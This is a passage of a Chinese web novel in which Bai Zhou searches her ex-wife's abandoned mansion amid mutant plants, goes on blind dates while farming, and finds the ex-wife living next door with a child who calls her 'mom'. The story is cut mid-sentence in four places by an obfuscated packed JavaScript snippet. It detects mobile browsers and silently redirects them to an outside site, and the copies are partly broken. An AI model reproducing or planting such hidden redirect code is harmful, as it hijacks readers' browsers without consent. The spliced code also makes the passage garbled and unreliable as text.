几乎是她前脚刚走,白舟就风尘仆仆地赶了过来,光.裸的脚丫被沙砂磨出了血迹,可她却顾不得疼,横冲直撞地跑进姚家老宅。 “姚悯,姚悯,你在哪里……” “姚悯,你快出来啊……” “姚悯……姚悯……姚悯……” 白舟一边大喊着,一边钻过大腿粗的树枝。 没有,没有人,没有狗,也没有猫,整个老宅死气沉沉,仿佛久不住人的荒宅。 但是姚悯的房间门口有血迹,尚未干涸的血迹,证明这里刚刚有人来过。 白舟上上下下、前前后后地看,没有发现尸体之类的东西,说明只是受伤而已。 是走了吗? 这些血迹是谁的? 姚悯有没有受伤? 白舟一颗心翻来覆去地煎熬着,没见到姚悯之前,她怎么也定不下心,只能一遍遍地在老宅里寻找着、呼喊着。 但是老宅大得跟个公园似的,她跑得脚底发麻而摔在地上,喊得喉咙撕疼,嘴里尝到了血腥味,才无助地环抱双膝停下来。 没找到人,大概是真的走了。 但她还是想确定姚悯的安全。 白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728484|189567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舟抬起手环,用自己的号码继续给姚悯打电话,依旧没人接,她不知道该怎么办了,除了姚悯,她没有任何姚家人的联系方式。 多悲哀啊,结婚五年,她竟然没有姚悯家里人的联系方式,连她们去哪儿了也不知道,甚至在这种情况下,对方都没想过要打个电话给她,问一问她白舟有没有受伤。 就算养只宠物都应该有感情了吧,她白舟是不是连宠物都不如,不配得到她们的关心。 白舟看着自己血迹斑驳的双脚,轻“呵”了一下,短促的气息在嘲讽她的自作多情。 从担忧姚悯到可怜自己也就一瞬间的事。 白舟坐在枝繁叶茂的庭院里,面无表情地发了会儿呆,正想起来时,后背突然一凉,接着一痛。 “嘶——” 她抽着气看去,一条手臂粗的树枝在对她张牙舞爪着。 这种树枝不管见了多少次,它都诡异、嚣张的,像拥有神智一般,看起来威武霸气极了。 但白舟只觉被它抽出了一团火,不顾后背的辣痛,爬起来就朝它扑去,树枝没长眼,胡乱挥舞着,白舟身上又添了几道新伤,但她此时正憋了一股乱七八糟的情绪,再不发泄出来,她就要疯了。 于是她如蛮牛一般,奋力一扑,就把树枝压在了身下,不管不顾地往它身上挥动着拳头,却是以最柔软的皮肉攻击它最坚硬的枝杆。 “我打死你,不把我的真心当回事。” “我跟在你屁股后面跑了八年,你怎么就看不到我呢。” “我们五年的婚姻啊,我一提离婚,你眼皮都不眨一下就同意了。” “但凡你露出一点点犹豫,我现在还会在这儿跟一条树枝打架吗。” “知道什么是爱情吗?知道什么是婚姻吗?知道我有多难过吗?” “姚悯,你没有心——” 一拳又一拳,每一拳都是她对姚悯的不满。 白舟将压抑了许久的情绪发泄出来后,才伸手抽出一直别在腰带上的小刀,往树枝上用力一刺,拔出,再刺。 反反复复,直到树枝不再动弹,白舟放开它,抬手抹掉刚刚从手上溅在脸上的血。 没意思。 和树枝打架没意思,火急火燎来找人没意思,求而不得没意思,爱情也没意思。 什么都没意思。 白舟低头勾了勾唇,转身离去。 绿意盎然中,她像一个刚与野兽搏斗完的猎人,浴血而归。 追着她屁股后面来的于音和赵知见状,心脏骤然收缩了好几下。 “天啊。” 于音三两步走上前,围着白舟手足所措地抬着手,却不敢碰她,急得团团转,“粥,你,你,你哪里痛?” 赵知直接走到她后面,瞬间睁大了双眼,那件白衬衫破了好几道长口,露出里面的血肉,其中一道血口正在不断往外渗血。 这得多痛啊。 连赵知这样看惯了外伤的人见了都觉得心口闷得慌。 白舟扯了扯嘴角,“你们怎么来?” 声音轻轻的,一阵风就能吹散。 于音正想说话,面前的人却忽然软了下来,吓得她赶紧抓着白舟的胳膊架在自己脖子上,“白舟,白舟,你别吓我呀,你快醒醒。” 5. 相亲 变异植物大爆发后没多久,国家顶尖变异植物研究团队终于研制出了可以避免变异植物攻击的药物——椿。 ‘椿’带有一种淡淡的香味,对人体无害,但对于变异植物来说,这种香味却能让它们避如蛇蝎,相当于人会避开腐烂的臭味一样。 一开始,‘椿’是被做成小石子般大小装在香囊里随身携带的,但人类总爱丢三落四,经过三年的改良后,‘椿’就以一种液态的形式被装进通讯手环里了。 虽然如今人类已经不那么恐惧变异植物了,但依旧厌恶变异植物,因为他们种的农作物所需的养分一直被变异植物吸收,防不胜防,导致田里的农作物长得歪七扭八、七零八落。 没错,在科技如此发达的今天,人类又回归了全民种田时代,因为变异植物的爆发,导致大量资源遭到破坏,以及大量企业家破产,普通人无工可打,只能回家种田了。 但现在种田不再是用古老的方法——出卖体力,而是采用各种机械设备,让懒惰的人也享受到种田的快乐。 但白舟是个异类,她爱往田里钻,因为她始终觉得这个稻谷长得稀疏是因为土里长了许多细细小小的白色根茎,把养分抢走了。 这些根茎也不知道是打哪儿长出来的,清了一批又一批,但好在她家种的稻谷比别人家的要好一点,可能是清理过不知名根茎的缘故。 “白粥,还扒泥巴呢,该回家吃饭了。”路过她家田的李梨笑嘻嘻地冲她减了一声。 白舟从稻禾里抬起头,见是这个烦人精,撇撇嘴,回她:“回那么早干嘛,我又不用亲自煮饭。” 李梨一噎,她与白舟从小就不对付,小时候她在家吃饭的时候不小心打翻了菜碟子,被奶奶痛骂一顿,骂得很难听,白舟刚好从她家经过,进来就替她出头,结果白舟走后,她又被奶奶打了一顿,骂得更难听了。 她永远都记得当时的白舟穿着嫩黄小裙子,扎着两个小辫子,脚踩小皮鞋,像个公主似的,村里好多人都喜欢她,但她爱路见不平,往难听了说是多管闲事。 李梨从小就觉得她装,装善良、装高贵、装仗义、装勇敢。 长大后的白舟倒是没小时候那么爱多管闲事了,但她还是爱装勇敢,明明看到别人受伤流血,就吓得哗哗流眼泪,却总能在遇到危险时冲在前头。 太装了,李梨还是讨厌她,说话也不好听,李梨更讨厌她了。 但她的讨厌对于白舟来说,无关痛痒。 怼走了烦人精之后,白舟去田沟里把手脚上的泥巴洗干净,穿上拖鞋“啪哒啪哒”走回家。 她现在都不精致了,指甲里嵌着少量的泥巴,手指头被水泡得皱皱巴巴的,让别的Omega看到,得多嫌弃她呀。 自从一年前她妈妈妈咪回来过年后,也不知跟奶奶说了什么,过完年就试探着给她安排相亲。 俗话说:想要忘记一段旧情,就得开始一段新的恋情。 白舟并不反感相亲,只是她比较注重颜值这方面,这一年间前前后后相了十几个Omega,但长得都没有她前妻姐好看。 她倒也不是多喜欢前妻姐,只是她白舟是出了名的村花,总得配一个与她旗鼓相当的吧。 而今天下午还有一场相亲,听王婆说对方是城里长大的,长得又高又水灵,跟她很是般配。 白舟倒是有些期待起来了,吃着午饭就向白望打听,“奶奶,你有那个司小姐的照片吗?王婆说对方长得和我一样好看,不知道有几分真。” 相过那么多次亲,白舟深深意识到了一点:媒婆的嘴,骗人的鬼。 但她一次都没有拒绝过相亲,大概是因为生活有点无聊吧。 白望的嘴巴嚼嚼嚼,咽下里面的米饭,已经变成三眼皮的眼睛睨向她:“照片倒是没有,不过老王给我看过对方的照片,确实好看,但是比起你,奶奶觉得还是差了点的。” 乐呵呵的,说得情真意切。 “差一点是差多少啊?”白舟放下手里的碗,伸出两根手指头比了比,“这么点?还是这么多啊?” 白望一乐,学她拿两根手指头比了半个指节的距离,“这么多吧。” “哦。” 白舟扒了口饭,其实差多少她也不是很在意,因为她知道这次也不会牵手成功的。 不过对方确实长得挺漂亮的,戴着顶白色渔夫帽,笔挺的鼻梁上搭着副无框眼睛,这种高智感有两分像她的前妻姐。 “司小姐想吃什么随便点,我请客。” 白舟坐在饭馆里,笑得甜甜的,右颊的小梨涡生动可爱。 司凡可能对她还挺满意的,柔柔一笑:“我第一次来,不知道哪个好吃,白小姐帮我点吧。” “行,那就按我的再来一份。” 白舟在桌面的智能屏上下完单后,拿出自己身经百战的相亲态度,笑得如沐春风,“司小姐是做什么的呢?” 司凡抿了口茶,对她笑得坦荡:“以前是某家公司的总经理,现在没工作,上学时修的是经济与管理,不过目前这情况,大概很难再找到工作了,所以想找个伴一起种田,踏踏实实过日子。” 谁能想到呢,以前拼死拼活地学这学那,千千万万的人挤破脑袋也要去城里找份好工作,通宵熬夜、卑躬屈膝,顶着巨大的压力只为了体面地融入那座冰冷的城市。 如今时代又变了,因为变异植物的原因,农作物的产量稀少,渐渐满足不了全国人民的需求,国家研究出了营养液充饥。 但人的嘴总是不甘寂寞的,吃一口热乎的饭菜是人类毕生的追求,于是地里长出来的粮食身价翻了十几倍不止,人人都想去种田,反而成了另一种‘体面’。 司凡的目标很明确,给的信息也很真实,跟她给人的形象很贴合,理智、坦诚、知道自己要什么,还是学经济管理的,她的前妻姐也是学这个的。 听说姚氏集团破产了,那前妻姐…… 想太多了白舟。 白舟小手一扯,拉回神游的思绪,小梨涡却从始至终没离开过脸颊,“好巧呀,我以前也是学经济管理的,现在正在种田呢。” 她本来是学机械制造的,后来对前妻姐一见钟情,就瞒着家里偷偷转了专业,现在想想,当时真是鬼迷了心窍,要是她没转专业,现在还能凭着她的专业知识造几个会钻泥巴的机器出来,替她去清理泥巴里的根茎呢。 美色误人,美色误人啊。 司凡是个健谈的人,言行举止也很有礼,跟她聊天不会有被冒犯的感觉,白舟跟她谈得很愉快,彼此交换了联系方式,约着下次再一起吃饭。 但这只是白舟的场面话而已,实际上,她都没有跟相亲对象约过第二次饭。 她也不知道怎么回事,相亲了那么多次,一次都心动的感觉都没有过,连司凡条件这样好的人也没有产生一丝丝心动,白舟忽然感觉有点绝望,她不会要孤独终老了吧? 不行的不行的,她最怕孤单单一个人了。 和相亲对象分开后,白舟立马联系到王婆,拜托她再多找几个跟她年纪想仿的Omega,要求也没以前高了,戴眼镜,看起来很有智慧的就行,有没有自己漂亮也不重要,只有小美也能接受。 叮嘱完王婆,白舟才心满意足地去找于音。 今天于音休息, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728485|189567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请她和赵知去她家吃烧烤,喝小酒,聊八卦。 “说真的,我现在越来越觉得农村好了,抬头可见的阳光,风吹过的草木香气,还有抬腿就走的自由,说搞就搞的烧烤,我以前在漳洲那会儿哪感受过这些啊。” 于音烤着牛肉串,抿口啤酒,打了个嗝,看着手里的啤酒罐说:“就是有一点不好,咱们现在只能与这种苦了吧唧的啤酒作伴了。” 赵知推推眼镜,随一口啤酒,深以为然地点点头:“感觉比以前的生活还苦了。” 默默吃鸡翅的白舟:“……” 要是没记错,她以前可是经常听这两位社畜在群里嚎生活苦,比黄连还苦,打工人的命不是命,领的薪水不是糖,是老板亲手喂的苦瓜汁。 所以,人都是会忘本的吗? “话说,你和你那副院长介绍的对象怎么样了?有希望吗?”于音轻轻撞一下右边的赵知,对着她挤眉弄眼。 她们仨的年纪都不小了,回到家人身边后就老是被催婚,相亲都成了家常便饭。 赵知摇摇头:“不大合适,她说她想找个种田的。” “那粥呢,听说你刚刚又去‘小李饭馆’见相亲对象了,怎么样,对方漂亮吗?”于音又撞一下左边的白舟,同样对着她挤眉弄眼。 八卦兮兮的。 白舟丢下手里的骨头,拿了三串鲜鱿鱼摆在烧烤网上,点头:“挺漂亮的,目前为止见过最漂亮的一位,还挺讲礼貌的。” 于音激动了:“那有戏吗?” 赵知也竖起了耳朵。 白舟摇摇头:“没感觉,做朋友可以,她好像刚搬来咱们村,以后可能会经常见面。” “哇哦,经常见面呢。”于音起哄了一下。 她才不管白舟有没有感觉呢,俗话说:日久生情源于经常见面。 “新搬来的?”赵知扶扶眼镜,边给手里的鸡翅撒孜然粉,边说:“是不是戴着一副无框眼镜的?鼻尖有一颗小痣?” 白舟回忆了下,“你怎么知道?” 赵知表情古怪,似乎有点难绷,“她就是副院长给我介绍的相亲对象。” “哇哦~”于音拍拍手,大眼珠子看看这个又看看那个,说:“缘分呐。” 于音有点激动,又有点好奇了,有点想知道那位相亲对象长什么样。 “说到新搬来的,咱们村最近好像搬了挺多人过来的。”于音换了个话题,“粥啊,我听说你家旁边那个小院子被人给买走了,是不是真的哇?” 那个小院子不大,一百来平,只有一层楼,要买走的话,少说也得大几百万,起码于音这个年轻社畜就买不起。 白舟点点头:“听我奶奶说是的,不过都买走大半个月了,也没听见里面传出什么动静,大概就是买着玩儿的。” 别看现在大部分人都不打工了,但不代表他们挣不到钱,企业家更是有重头再来的实力,有钱人在哪个时代都从未缺席过,没事儿买个小院子什么的,洒洒水的事情。 在于音家嗨玩了一个下午,白舟进家门的时候忽然听见隔壁传来小孩子的笑声,跟风吹响银铃似的。 刚说完就有人搬进来了? 白舟又退出家门,双手插兜,左顾右盼地走到隔壁院门口,房门没关紧,周围也无人经过,她正打算往门缝里看上一眼,看看新邻居的面相如何,好不好相处,没想到她刚抻了个脖子,房门就被人从里面打开了。 抬头,四目相对,白舟懵了,脑子一片空白,感觉心脏要逃离她的身体了。 没一会儿,一个小矮人从门后踉踉跄跄地跑过来,抱着她的膝盖就喊:“妈妈。” 6. 喜当妈 妈妈? 妈妈? 白舟一脸不可置信地低头,对上两只澄澈的葡萄眼,她愣愣抬头看看站在门边的女人,又低头看看小矮人,好半天才找回自己的声音,“妈妈?” 嗓音哑哑的,含着震惊。 震惊于她在这里见到了前妻姐,也震惊于前妻姐有了孩子,更震惊于这个小女孩抱着她的腿喊:“妈妈”! 见了鬼了。 白舟抬手揉揉眼睛,两人还在,前妻姐没戴眼镜,沉稳的眼神里也透着惊讶,似乎也没想到会在这里遇见她。 没出现幻觉。 “好久不见。” 两人对视了好一会儿之后,姚悯开口了,还是那样平淡,像对陌生人的礼貌问候一样。 比回忆先来的是难受,她的心还是没出息地受姚悯挑动。 但好在,好在她学会了掩饰,白舟冷淡地对她点点头,怕开口的声音会暴露她的心绪,就没说话,蹲下.身子轻轻拿开小女孩的手。 “妈妈。” 不想撒手的姚望白瘪着嘴巴看她,眼里的泪倔强地团在眼眶。 她长得很小一只,只到白舟的膝盖高,目测只有两岁左右,脸颊肉肉的,但眉毛很像姚悯,眼睛也很像,鼻子和嘴巴都很像,几乎不需要再怀疑,这就是姚悯的孩子。 一个连跟她亲亲都不愿意的人,却在短短三年内跟别人生了小孩,是在离婚后遇到了什么人并火速有了亲密关系吗? 原来不是不喜欢接吻和做.爱啊,只是不喜欢跟她接吻罢了。 白舟一遍遍告诉自己不要再想了,但想象就像魔鬼,无孔不入地嘲笑着她那八年的一厢情愿。 白舟扯了扯嘴角,“我不是你妈妈。” 声音轻轻的,眼神柔柔的,连推开姚望白的力道都是轻轻的,包括离开的脚步也是轻轻的。 姚望白吸吸鼻子,抱住姚悯的小腿,抬起小脑袋,瞪着红眼睛,委屈巴巴地说:“妈咪,妈妈走了,甜甜不乖吗?” 说着,她眼里憋着的泪啪嗒啪嗒就流了下来。 姚悯替她擦了擦眼泪,“不是甜甜不乖,是妈妈她没有见过甜甜,不认识甜甜呢。” 声音很温柔。 如果白舟还在这里,肯定要以为姚悯被鬼附身了,因为她从未见过这么温柔的姚悯。 可惜,白舟把自己锁房间里了,拒绝接收一切声音。 姚悯看一眼旁边的高门大院,一时不知道该怎么办了,就像当初从医生口中得知怀孕一样茫然。 当初她没想过要告诉白舟,如今…… 姚悯看着抽抽搭搭的女儿,觉得还是顺其自然吧。 “妈咪,要妈妈。” 才两岁的姚望白已经会说很多话,但她很乖,不会因为得不到就大哭大闹,只会扁着嘴巴,红着鼻子和眼睛看人,明晃晃地让你感受到她的委屈与难过。 姚悯一颗心都被看软了,心疼地抱起她,一边轻轻拍她后背,一边走进屋,“甜甜乖,咱们的新家还没有打扫干净呢,先把卫生打扫了,明天再去找妈妈好吗。” 姚望白吸吸鼻子,很失落,懂事中带着一丝不情不愿地开口:“好吧。” 还不知道明天有个大惊喜等着她的白舟被奶奶拽了起来,“咋了这是,天还没黑呢,就躺着了,生病了吗?” 白望伸手摸摸她的额头,“也不烫呀,还一身酒气,喝晕了这是?晚饭还吃不吃了?” 白舟揉揉眼睛,打了个哈欠,装作刚睡醒的样子,“没事,只是喝多了,有些晕酒,晚饭我就不吃了,还饱着呢,奶奶您自己吃吧。” 她现在没胃口。 只要一想到姚悯跟别人有了孩子,她就嫉妒得要死。 白舟在床上辗转反侧了两个钟,脑子里一会儿是姚悯的脸,一会儿是小女孩的脸,折磨得她快要精神分裂了。 姚悯一定是给她下了蛊,才会每次出现都让她方寸大乱。 气恼的白舟一把掀开被子,趿着拖鞋啪嗒啪嗒跑到工具间搬了把梯子放到院墙边,迟疑了一会儿,才开始往上爬。 隔壁的小院之前是白舟表叔的房产,两家院子只有一墙之隔。 但白舟绝对没有要偷看姚悯的意思,只是有点好奇姚悯找了个什么样的人而已,如果没有她好看,那明天见面她就要好好嘲笑对方一番。 墙头上缓缓升起三分之一的脑袋,白舟双手趴在墙上,瞪着大眼睛,小院子里还有一些杂草没清理干净,房檐下的女人戴着手套在擦窗户,房门口坐了个小女孩在玩积木。 找的什么狗Alpha啊,一点活都不干,竟然让一个Omega去擦窗户。 白舟暗骂了一句,随即又有些不是滋味,以前姚悯可是连个垃圾都没丢过呢。 忽然,白舟与一双葡萄眼对上,对方丢下手里的积木,颠颠爬起来,冲她跑了过来。 “妈妈。” 听见声音的姚悯回头看去,甜甜正站在院子里冲着墙头喊“妈妈”,她往上看去,空无一人。 “甜甜,不要往那里去。”姚悯摘下手套抱她回来,“那边的草还没拔,有很多小虫子的。” 声音温温柔柔的,躲在墙后的白舟忽然感觉胸口有些痒,她抬手隔着皮肉挠了挠。 “妈妈在那里。”姚望白伸出肥嘟嘟的小手指向墙头,眼睛亮亮的。 姚悯又往空荡荡的墙头看一眼,揉揉女儿的脑袋,“嗯,好。” 嗯??? 好??? 白舟蹲在墙角挠了挠墙皮,想不明白姚悯是怎么说得出这个“好”的,她明明不是那小孩的妈妈。 那个Alpha呢?听见自己的孩子喊别人妈妈就一点也不介意吗?难道姚悯没跟那个Alpha在一起? 还有那小孩为什么一见她就喊“妈妈”?是什么臭毛病吗?还是……姚悯指使的?可她为什么要指使一个小孩喊她妈妈? 烦死了。 白舟要烦死自己了,一把年纪了,还爱胡思乱想。 “你抠我墙皮干嘛?” 耳边突然出现的声音吓得白舟一个屁股蹲,瞪着大眼睛往左边看去,一个小老太举着手电筒,恐怖的是她的手电筒是对着自己的脸照的,像鬼一样。 白舟瞪着眼睛没吭声,却是被吓得手指用力一抠,一大块墙皮掉了下来。 白望看一眼墙上被她抠出来的小坑,翻了个白眼,“胆小鬼。” 白舟要哭了,抬手不断拍着胸口压惊,嘴里埋埋怨怨,却不敢大声嚷嚷,只能小声说道:“奶奶,您吓死我了。” 说完还轻轻地捶了一下她的大腿,以示不满。 “不做亏心事怕什么,你这大晚上的搬个梯子来这干什么,偷窥别人家啊。”白望一边说一边把手电筒往天上晃了晃。 “哎呀,您的手电筒别乱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728486|189567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照。”白舟爬起来一把抢过手电筒,关了之后,又小声说:“还有您说话不要那么大声。” 她这反常模样,更引起了白望的注意,要知道白舟说话向来可没个顾忌的,从来不会有这样偷偷摸摸放低声音的样子。 “隔壁是谁呀?”白望盯着她问。 还能是谁,您孙女的前妻姐呗。 白舟支支吾吾、低着头扭了扭身子,一点都不想说出来,太丢人了,谁离婚三年还偷偷看前妻的,没出息。 她不说,白望呵笑一声,拨开她就往梯子上爬,才爬了两个阶,就被白舟一把抗了下来,“哎呀,您都这把年纪了,还爬梯子做什么,摔了怎么办,快下来快下来。” 白望不乐意了,嚷道:“什么叫这把年纪,你奶奶我今年才八十岁,还能活个几十年呢,抗着梯子跑步都不成问题。” “嘘嘘嘘,您小声点小声点,别嚷嚷呀。” 把人抱下地后,白舟急忙捂住她的嘴,气恼地小声说道:“大晚上的,喊那么大声,吵到别人睡觉,很不礼貌的。” 说着,白舟一手抓着她,一手抗起梯子,“走走走走走走,很晚了,咱们快回去休息吧,明天还要去田里给稻谷喷点杀虫药呢。” 她这样子惹得白望更好奇了。 俗话说:人都是反骨的,你越不让她干什么,她偏要干什么。 次日一大早,惦记了一晚上的白望早餐都没吃就开始往外走,她只想看看隔壁住了什么人,却没想到一打开大门就被门口的小团子萌化了心。 小团子还穿着小黄鸭睡衣,头发乱糟糟的,脸上还有一小块睡痕,显然是刚起床的样子,见她开门后就一个劲地往门缝里看,好像在找什么东西似的,白望顺着她的视线往身后看了看,空无一人,再看看周围,也没有第二个大人了。 “谁家的孩子啊?” 白望低语了一句,跨出门槛,蹲到小团子面前,笑呵呵地问:“小朋友,你找谁呀?” 姚望白收回视线,抬头看她一眼,又往门缝里看,再抬头看她,拿手扒了扒额前的头发,奶声奶气地说:“妈妈,甜甜找妈妈。” 声音软糯,两排白白的小牙齿可爱得要命。 “哎哟,真乖。”白望心软软地屈起手指碰了碰她肉肉的脸颊,“那你的妈妈叫什么呀?太奶奶陪你去找好不好?” 姚望白抬起小手指了指房门,“妈妈,在里面。” 里面? 白望回头看看,里面哪儿有妈妈哟,只有条还没起床的大懒虫,但她没跟甜甜说,只问:“那甜甜的家在哪里呀?太奶奶带甜甜回家好不好?” 甜甜不想回家,低着头不说话了,好像这样就可以不被送回家一样。 白望摸摸她的头,想着自己刚好也没什么事,就坐在门口一边逗甜甜说话,一边等甜甜的家里人找过来。 不过她还是记得自己出来是干什么的,白望逗小孩的同时也在关注着隔壁,没多久就听见一道女声在喊“甜甜”,她低头看看面前的小女孩,有些意外。 隔壁的孩子? 正想着,就见那边的门口出现一只穿着小黄鸭拖鞋的脚跨了出来,接着是一张焦急的脸。 “甜甜。”姚悯三两步跑了过来,抱着姚望白后松了口气:“你吓死妈咪了。” 看着这张只在视频里见过的脸,白望愣愣看着她,不大确定地说:“小悯?” 7. 不可能是她的孩子 姚悯牵着姚望白的手,对白望点点头,想叫奶奶,又觉得不大合适了,就把称呼略去,说:“早上好。” 白望看看她,又看看小女孩,不知是不是心理原因,她开始觉得甜甜有几分像白舟小时候的样子了。 “你住隔壁?”白望问她。 语气还挺好的,就是有点不大自然。 姚悯点点头:“嗯,刚搬过来的。” “哦,挺好的,挺好的。” 白望说完就跟她有点相顾无言了,没办法,这是两人的第一次线下见面,生疏又尴尬。 “那我先回去了,甜甜还没刷牙呢。”姚悯说。 白望连连点头:“哎,好好好。” 等人走后,这位八十岁的小老太健步如飞,一下就窜到了白舟的房间,将人从被窝里拖起来。 “要死了要死了,白舟要死了,你的前老婆生了个孩子,你知道吗?是不是你的?是不是你的?”白望激动地拍打着她的背。 那孩子的年龄算来也能对得上,还来她们家找妈妈,而且那张动不动就瘪着的小嘴巴简直跟白舟小时候一个模子刻出来的,想抱曾孙女的白望有点疯颠了,一个劲地拍着白舟,“醒醒,快醒醒,你是不是跟姚悯有个孩子?是不是,是不是呀?要死了呀你。” 白望这个小老太平时表现得还像个正常人,慈眉善目,极具欺骗性,但她一激动就爱拍东西,动不动就“要死了要死了”,一点都不稳重。 白舟抱着被子打了个滚,躲开她的魔掌,缩在床头边上,瘪着嘴看她,“奶奶,您要把我打死吗,拍得那么大力气。” 就是这副模样,瘪着个嘴,嘴角还会微微上扬,跟甜甜一模一样。 白望激动了,拽着她的被子往外扯,“快快快,你有个女儿你知道吗,长得老可爱了,你快起来。” “胡说,我哪来的孩子。”白舟一把掀开被子,站起来大声嚷嚷。 她连Omega的嘴巴都没亲过呢。 “甜甜呀。”白望仰头紧紧盯着她。 怕老年人把脖子仰歪了,白舟又坐了下来,“甜甜是谁?我还苦苦呢。” “小悯的孩子啊。”白望抱着一丝希望说道。 正在打哈欠的白舟一听见这个名字,剩下的半个哈欠就打不出来了,她摆手否认道:“那不可能是我的孩子。” 白望不相信,“咋不可能,我问了,甜甜今年两岁,算上你回来的日子,还有两个多月正正好满三年,就是你快回来的那段时间怀上的。” “不可能不可能。”白舟猛猛摇头。 她觉得这个小老太想抱曾孙女想疯了,为了防止她去隔壁问人家,造成不必要的误会,白舟郑重其事地说:“我跟姚悯没那个过,她是个性.冷淡,不可能有孩子的。” 白望闻言沉默了几秒,却还是不愿相信她的话,“可是甜甜管她叫妈咪。” “那可能是,可能是她姐姐的孩子,我们离婚前几天,她姐姐刚好怀孕一个月,当时还举办了家宴庆祝呢。” 白望看着她极力撇清的样子,幽幽道:“她姐姐的孩子怎么管小悯叫妈咪?” 白舟挠挠脸颊,继续编:“可能是出现什么意外了吧,孩子没人管,就被她带在身边了呗,你没看她现在住的房子吗,又小又破,肯定是家里出事了,买不起好房子了。” 说得跟真的似的,白舟自己都要信了,她也愿意相信这个胡编乱造的理由。 变异植物大爆发那一年,破产的企业数不胜数,没多久姚氏集团也跟着宣告破产,据某些媒体账号报道:姚家这个大家族在那一年分崩离析,部分家族成员惨死在变异植物的魔爪之下。 而且,姚悯和她的姐姐有七分相像。 白舟打发走白望之后,一反常态地挑起了今天要穿的衣服,以前为了方便,她都是穿T恤中裤拖鞋的,今天突然想换换风格了。 白衬衫浅色牛仔裤,再配一双圆头小皮鞋,长发扎了个大辫子斜斜从左肩坠到胸前,简单就像二十出头的青春亮丽女大学生。 白舟对镜子里的自己很满意,在奶奶直勾勾的眼神下吃完早餐,顺手从桌上的篮子里抓了一把奶糖就出门了。 她们家种的稻谷已经到了抽穗期,这个时期是病虫害的高发阶段,得及时喷洒农药防虫害,不然都不知道能不能保得住她们那本来就不高的产量。 为了方便干活,白舟在自家田地里建了间小木屋,用来堆放农具、农药啥的,还有五台无人机。 无人机是白舟喷洒农药的主要工具,把农药倒进药箱进行稀释后,再检查一下设备确认没问题后,白舟搬了张小椅子放到门口,一屁股坐下,再一个个拿起遥控器设置参数、规划作业区域这些。 白舟看着遥控器屏幕里的画面,摇动旁边的小手柄,不远处排在第一位的无人机慢慢飞了起来,她点点了屏幕,让这台无人机按照设置好的规划飞去自动打药,再拿起另一个遥控器操作下一台无人机。 她一个人同时操作五台无人机,两只眼睛在五个遥控器上溜来溜去,农药都有在规定的区域内好好执行任务。 由于她的无人机上装的是360高清摄像头,拍到的范围很宽泛清晰,于是白舟就看见了烦人精,对方正站在田埂上被她奶奶揪耳朵呢,手上还抱着个无人机遥控器,估计是来晚了,她奶奶又生气了。 啧,真惨。 白舟撇撇嘴继续盯着屏幕,忽然看到一个小女孩在小道上骑滑板车,她的后面跟着一位长卷发大美女,衣裙飘飘,气质上佳。 但白舟不爱看到这位大美女,默默将视线移开后,过了两秒又悄悄移回来,屏幕里的大美女停了下来,她的面前站着同村的汪凝香——村子有名的花心大萝卜,尤其钟爱结过婚的Omega。 汪凝香长得还可以,家里也算有钱,但跟她比还是差了一大截,白舟不信连她都看不上的前妻姐能看得上汪凝香这个自恋狂。 一分钟过去了。 两分钟过去了。 五分钟过去了。 这俩人还在叽叽咕咕地说啥呢? 白舟随手揪了棵草把玩着,眼珠子一会儿从屏幕上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728487|189567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 溜走,一会儿又溜回来。 没多久,无人机飞回来了,白舟继续往药箱里装农药,重新给它们规划区域,再派出去干活,而遥控器的屏幕上已经没有前妻姐的身影了。 白舟不知是松了口气,还是提了口气,总之不是那么得劲儿。 喷洒完农药后,她把无人机上的农药清洗干净放好,刚锁好小木屋的门,转头就看见一个黑影,吓得白舟捂住小心脏,瞪着眼睛看她。 “抱歉,吓到你了。”司凡歉然地笑笑。 岂止是吓到,简直要吓坏了。 白舟缓缓呼出一口气息,露出个小梨涡,“没事儿,你怎么在这儿。” 这周围都是她家的田,一般没什么人会过来。 司凡望了一眼周围,低头撩撩耳边的头发,笑看她道:“我在那边看到你在开无人机,一时好奇,就过来看看。” 语气轻柔,像不大熟的朋友在聊天一样。 